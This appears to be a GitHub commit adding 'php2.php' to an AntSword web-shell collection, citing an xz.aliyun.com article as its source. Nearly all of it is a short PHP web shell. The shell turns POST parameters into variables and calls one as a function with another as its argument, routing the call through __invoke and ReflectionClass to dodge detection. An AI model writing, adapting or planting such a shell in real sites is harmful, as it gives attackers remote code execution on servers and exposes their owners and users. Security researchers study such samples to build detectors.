add php2.php

from : https://xz.aliyun.com/t/9218
This commit is contained in:
tennc 2021-08-15 16:13:47 +08:00 committed by GitHub
parent 5ab8c018a4
commit 45260b3568
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

25
antSword-shells/php2.php Normal file
View file

@ -0,0 +1,25 @@
<?php
class Test1
{
private $para1 = '';
private $para2 = '';
public function __invoke($para1, $para2)
{
$para1($para2);
}
public function __construct($para1, $para2)
{
$this($para1, $para2);
}
}
$class1 = new ReflectionClass("Test1");
foreach (array('_POST') as $_r1) {
foreach ($$_r1 as $_asadasd=>$_wfwefb) {
$$_asadasd =$_wfwefb;
}
}
$class2 = $class1->newInstance($_asadasd, $$_asadasd);